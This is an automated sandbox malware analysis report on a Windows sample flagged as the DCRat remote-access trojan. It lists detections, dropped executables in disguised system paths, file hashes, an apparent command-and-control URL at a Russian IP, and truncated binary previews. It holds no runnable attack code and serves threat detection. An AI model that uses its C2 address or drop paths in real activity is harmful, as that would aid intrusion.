Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	3 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	135 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
KyC6hVwU8Z.exe	71%	ReversingLabs	Win32.Trojan.LummaC
KyC6hVwU8Z.exe	50%	Virustotal		Browse
KyC6hVwU8Z.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	100%	Avira	HEUR/AGEN.1309961
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	100%	Avira	HEUR/AGEN.1309961
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	100%	Avira	HEUR/AGEN.1309961
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	100%	Avira	HEUR/AGEN.1309961
C:\Users\user\Desktop\dFZxqctW.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	100%	Avira	HEUR/AGEN.1309961
C:\Users\user\Desktop\luKnOVOf.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\Desktop\oUNDhiUw.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Users\user\AppData\Local\Temp\pfyxVLTZvp.bat	100%	Avira	BAT/Delbat.C
C:\Users\user\Desktop\yTUtFuTG.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	100%	Avira	HEUR/AGEN.1309961
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\oUNDhiUw.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\yTUtFuTG.log	100%	Joe Sandbox ML
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	74%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files (x86)\Windows NT\Accessories\en-US\PfjsOcNiQfAmiszo.exe	74%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files\Reference Assemblies\Microsoft\Framework\PfjsOcNiQfAmiszo.exe	74%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	74%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\user\Desktop\dFZxqctW.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\luKnOVOf.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\oUNDhiUw.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\yTUtFuTG.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	74%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Windows\Resources\Ease of Access Themes\PfjsOcNiQfAmiszo.exe	74%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://185.43.5.93/5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php	11%	Virustotal		Browse
http://185.43.5.93/5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php	100%	Avira URL Cloud	malware
http://185.43.5.93	0%	Avira URL Cloud	safe
http://185.43.5.93/5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.phptxye	0%	Avira URL Cloud	safe
http://185.43.5.93/5/4Datalife/asynccpu3Generator/	0%	Avira URL Cloud	safe
http://185.43.5.93	5%	Virustotal		Browse

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.43.5.93/5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	false		high
https://duckduckgo.com/chrome_newtab	PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	false		high
https://duckduckgo.com/ac/?q=	PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	false		high
http://185.43.5.93/5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.phptxye	PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000024F2000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://185.43.5.93/5/4Datalife/asynccpu3Generator/	PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000023F1000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	false		high
http://185.43.5.93	PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.000000000250C000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000027DC000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.000000000257B000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.0000000002639000.00000004.00000800.00020000.00000000.sdmp	true	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.9.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	false		high
https://www.ecosia.org/newtab/	PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	pPTyCqA3ru.exe, 0000000C.00000002.2818393278.0000000002933000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000023F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.43.5.93	unknown	Russian Federation		29182	THEFIRST-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572160
Start date and time:	2024-12-10 07:30:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	KyC6hVwU8Z.exe renamed because original name is a hash value
Original Sample Name:	a8c535490feb18fdff588d94c0d8a889.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@21/281@0/1
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Successful, ratio: 66% Number of executed functions: 25 Number of non-executed functions: 73
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173, 13.107.246.63, 52.149.20.212, 20.190.177.23
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target KyC6hVwU8Z.exe, PID 652 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:33:13	API Interceptor	281x Sleep call for process: PfjsOcNiQfAmiszo.exe modified
01:33:29	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.43.5.93	2VaAObAYLP.exe	Get hash	malicious	DCRat	Browse	185.43.5.93/5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
THEFIRST-ASRU	gorkmTnChA.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	185.246.67.73
	home.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	37.230.119.182
	x86-20241130-2047.elf	Get hash	malicious	Mirai	Browse	82.146.62.180
	sora.mips.elf	Get hash	malicious	Mirai	Browse	62.109.30.187
	UNFOT5F1qt.exe	Get hash	malicious	DCRat	Browse	188.120.228.203
	RustChecker.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	188.120.239.221
	https://%D0%BD-%D0%BF%D0%BE%D0%BB.%D1%80%D1%84/bitrix/redirect.php?goto=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=amp%2F%6D%6F%78%78%2E%63%6F%6D%2E%62%64%2F%63%67%69%2E%62%69%6E%2F%79%39%33%64%33%63%75%5A%58%5A%6C%62%6E%52%69%63%6D%6C%30%5A%53%35%6A%62%32%30%76%5A%53%39%69%63%6D%56%68%61%32%5A%68%63%33%51%30%59%32%56%76%63%79%31%77%63%6D%56%7A%5A%57%35%30%63%79%31%30%61%57%4E%72%5A%58%52%7A%4C%54%45%32%4F%54%59%31%4E%54%63%30%4E%7A%6B%77%4F%54%39%79%2F%23YWhvd2FyZEBzZWN1cnVzdGVjaG5vbG9naWVzLmNvbQ==	Get hash	malicious	Unknown	Browse	78.24.219.84
	https://%D0%BD-%D0%BF%D0%BE%D0%BB.%D1%80%D1%84/bitrix/redirect.php?goto=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=amp%2F%6D%6F%78%78%2E%63%6F%6D%2E%62%64%2F%63%67%69%2E%62%69%6E%2F%79%39%33%64%33%63%75%5A%58%5A%6C%62%6E%52%69%63%6D%6C%30%5A%53%35%6A%62%32%30%76%5A%53%39%69%63%6D%56%68%61%32%5A%68%63%33%51%30%59%32%56%76%63%79%31%77%63%6D%56%7A%5A%57%35%30%63%79%31%30%61%57%4E%72%5A%58%52%7A%4C%54%45%32%4F%54%59%31%4E%54%63%30%4E%7A%6B%77%4F%54%39%79%2F%23cnlhbi5lZHdhcmRzQGF2ZW50aXYuY29t	Get hash	malicious	Unknown	Browse	78.24.219.84
	https://%D0%BD-%D0%BF%D0%BE%D0%BB.%D1%80%D1%84/bitrix/redirect.php?goto=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=amp%2F%6D%6F%78%78%2E%63%6F%6D%2E%62%64%2F%63%67%69%2E%62%69%6E%2F%79%39%33%64%33%63%75%5A%58%5A%6C%62%6E%52%69%63%6D%6C%30%5A%53%35%6A%62%32%30%76%5A%53%39%69%63%6D%56%68%61%32%5A%68%63%33%51%30%59%32%56%76%63%79%31%77%63%6D%56%7A%5A%57%35%30%63%79%31%30%61%57%4E%72%5A%58%52%7A%4C%54%45%32%4F%54%59%31%4E%54%63%30%4E%7A%6B%77%4F%54%39%79%2F%23bWJsYW5kQHNlY3VydXN0ZWNobm9sb2dpZXMuY29t	Get hash	malicious	Unknown	Browse	78.24.219.84
	exe009.exe	Get hash	malicious	Emotet	Browse	37.46.129.215

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe	2VaAObAYLP.exe	Get hash	malicious	DCRat	Browse
C:\Program Files\Reference Assemblies\Microsoft\Framework\PfjsOcNiQfAmiszo.exe	2VaAObAYLP.exe	Get hash	malicious	DCRat	Browse
C:\Program Files (x86)\Windows NT\Accessories\en-US\PfjsOcNiQfAmiszo.exe	2VaAObAYLP.exe	Get hash	malicious	DCRat	Browse

Created / dropped Files

C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe

Download File

Process:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	691200
Entropy (8bit):	5.5554988350478975
Encrypted:	false
SSDEEP:	12288:C9X1yJ7/pZY7fiCI/YBfULiXPrQfkXmm1RhdLB9XFy+nM6D+:CVc7EaCQYBfcE1ZM6D+
MD5:	314420BAC969BCFB9510A0E8CC3686D6
SHA1:	66F1D0A60A2727970476A105C88883F37270E30F
SHA-256:	38B9CC3CCAE02C270E3D62E62E3B3B40E90AD7F898372B8A5035445BA32F4B26
SHA-512:	DEBF908ADD95AA0849451AEF830E5E71724247D352DCB5DAD6B02DCA0D54E4E915A9430DE80D970A4E7EF3749EB2FC7C6FA7839348D84F546D5934D713E7569C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Joe Sandbox View:	Filename: 2VaAObAYLP.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.........."...................... ........@.. ..............................R.....@.....................................S.......p............................................................................ ............... ..H............text........ ...................... ..`.rsrc...p...........................@..@.reloc..............................@..B.......................H.......T...d...........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Program Files (x86)\MSBuild\Microsoft\f6900929d627b7

Download File

Process:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
File Type:	ASCII text, with very long lines (898), with no line terminators
Category:	dropped
Size (bytes):	898
Entropy (8bit):	5.89558148919014
Encrypted:	false
SSDEEP:	12:d1TVW9gepUxldKoMkW+8pdsKEOPr8vomCRwpANBpnOni3CTqRAQAVM1DEtNhgZO4:d1BMboldId5ZPr66wyIifmM1DEtuVz
MD5:	93B7C40EBEF3E4F55326540748184925
SHA1:	05D6E5EAD669095F400827489DCC68D2C6FF7F34
SHA-256:	1A00B80AECA3C23C631375C14056B388698F662295721FB5834DE76F436EAD31
SHA-512:	E6E230C33F6EF48DE1748F362C894110118E7866512FEC87D0A8865A9FCD234CD9B4D959CBF1BA97BFC842D9C6E06C26E016851C2B42E0287A7BD701A3266E98
Malicious:	false
Preview:	wl4cSaEXjchY5GwvuiqwzWcI2gh1gbXfPq5Ejlxb9OYj1eSUZ9lzxHEZJvkv2N0HFBIPKsMIuPxk82QXONch0hsHlg5xBBjwXQe0VCJqwcEhUdaQeNhouTRhTAnoxYHtqANsYaBLEvuXdKxIFoTxe4BE96gUYe3YUV1TQs1DMWk9i3EJNfiIFUPv9Isb4qwj1WCHSe1XxPlHUBgG2WH25uSAGFTI9ZJgjAHL061toLV0tHb7mmjhi3oHECBMKtXXFEiU4UP5fYOuZbR9oWgX0l7pWAHy5oj5y8uoiHDRWnCKp4rmuBhxN9heH284MbA1yT5brnahTOBMiwAcSfD3GvryaQgqJIE4nLVV8Q5HlAe88U5U1gmrYGuDlHAaHuYKKGjXbpeBk6SGQtzGULyngXggaSu0QeA1mUy1uh3MCkHbyox1R4G55vnxkD6I4nvG6ad558VwRll6PFswe2iVXE61qBRrlvRYyBeXK16TiTnTJrheUJoCEZs2emO3qoLgUMHOkUmn5PxDamr9ewWbGOTZSm3imDm3IH97kS4AhBHzmob14PZ3StZF2r67bDA2m35TnuYL2W3FHexoLBnXnslYr3E2W6idAPMstIOK0OB50T8X4RwaamO3Sgltpgz5xZE2SE4DwcgZrpiX5q7EJIDYASaNgefUZFIaPGFzXtn7FzMm7Oy8iuvoWq1AorgR7MAmhIIylHraeFSKGyPRphvoTdEiOFLqMVA2zkFzF9WaDVKQXq30bPlZbVSDDjkg6ANIFaVgsaLqKUl7TyKiLVO7tkbeRBvgZ0eCIBL7VXHBD5PGuUuPYCUlwPYe81OropQUzizSmNMyNN4yVUt6RgHXf3Q2mr9dIaXXp5QMebmLzgXjVkIoHRZHi2y6S7q5Ot

C:\Program Files (x86)\Windows NT\Accessories\en-US\PfjsOcNiQfAmiszo.exe

Download File

Process:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	691200
Entropy (8bit):	5.5554988350478975
Encrypted:	false
SSDEEP:	12288:C9X1yJ7/pZY7fiCI/YBfULiXPrQfkXmm1RhdLB9XFy+nM6D+:CVc7EaCQYBfcE1ZM6D+
MD5:	314420BAC969BCFB9510A0E8CC3686D6
SHA1:	66F1D0A60A2727970476A105C88883F37270E30F
SHA-256:	38B9CC3CCAE02C270E3D62E62E3B3B40E90AD7F898372B8A5035445BA32F4B26
SHA-512:	DEBF908ADD95AA0849451AEF830E5E71724247D352DCB5DAD6B02DCA0D54E4E915A9430DE80D970A4E7EF3749EB2FC7C6FA7839348D84F546D5934D713E7569C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Joe Sandbox View:	Filename: 2VaAObAYLP.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.........."...................... ........@.. ..............................R.....@.....................................S.......p............................................................................ ............... ..H............text........ ...................... ..`.rsrc...p...........................@..@.reloc..............................@..B.......................H.......T...d...........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

